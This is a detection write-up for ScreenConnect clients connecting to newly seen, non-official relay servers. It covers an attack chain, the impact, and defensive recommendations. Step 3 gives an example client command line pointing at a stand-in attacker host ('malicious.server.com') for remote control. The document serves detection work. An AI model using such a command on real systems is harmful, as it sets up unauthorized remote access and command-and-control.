Newly Observed ScreenConnect Host Server

This detection identifies instances where a ScreenConnect client (ConnectWise Control) connects to a ScreenConnect host server that has not been previously observed and is not part of the official ScreenConnect cloud infrastructure. ScreenConnect, a legitimate remote management and access tool, is often abused by threat actors for command and control (C2) and establishing persistence on compromised systems. The presence of self-hosted or non-standard relay servers can indicate malicious activity. This detection rule aggregates connections by the server host (parsed from the client command line), focusing on first-time observations within a defined time window and limiting the scope to a single host to minimize false positives.

Attack Chain

1. Initial Access: The attacker gains initial access to a target system through various methods (e.g., phishing, exploitation of vulnerabilities).
2. Tool Deployment: The attacker deploys or leverages an existing ScreenConnect client on the compromised system.
3. Configuration Modification: The attacker configures the ScreenConnect client to connect to a malicious or attacker-controlled ScreenConnect server. This involves modifying the client's command-line arguments to specify the non-standard host server (e.g., ScreenConnect.ClientService.exe e=Access&y=Guest&h=malicious.server.com&p).
4. Connection Establishment: The ScreenConnect client initiates a connection to the attacker-controlled server, bypassing legitimate ScreenConnect infrastructure.
5. Command and Control: The attacker establishes a remote connection to the compromised system through the ScreenConnect client, gaining remote control.
6. Lateral Movement/Privilege Escalation: The attacker uses the remote access provided by ScreenConnect to perform lateral movement within the network, escalating privileges as necessary.
7. Data Exfiltration/Malware Deployment: The attacker uses the established connection to exfiltrate sensitive data from the compromised system or deploy additional malware for further exploitation.
8. Persistence: The attacker leverages ScreenConnect to maintain persistent access to the compromised system, ensuring continued control even after system restarts or other events.

Impact

A successful attack can lead to unauthorized remote access to systems, data exfiltration, malware deployment, and potentially complete system compromise. The use of ScreenConnect allows attackers to bypass traditional security measures and maintain persistent control over affected systems. The impact can range from data breaches and financial losses to reputational damage and disruption of business operations. The severity depends on the attacker's objectives and the sensitivity of the compromised data.

Recommendation

• Deploy the Sigma rule Detect Newly Observed ScreenConnect Host Server to your SIEM to identify suspicious ScreenConnect connections (rules).
• Enable process creation logging with command-line auditing to capture ScreenConnect client executions and associated parameters (logsource).
• Investigate any alerts generated by the Sigma rule, focusing on the Esql.screenconnect_server field to determine the destination host and validate its legitimacy (rules).
• Monitor network connections originating from systems running the ScreenConnect client, looking for connections to unusual or untrusted destinations (logsource).
• Implement application control policies to restrict the execution of unauthorized or modified ScreenConnect clients (references).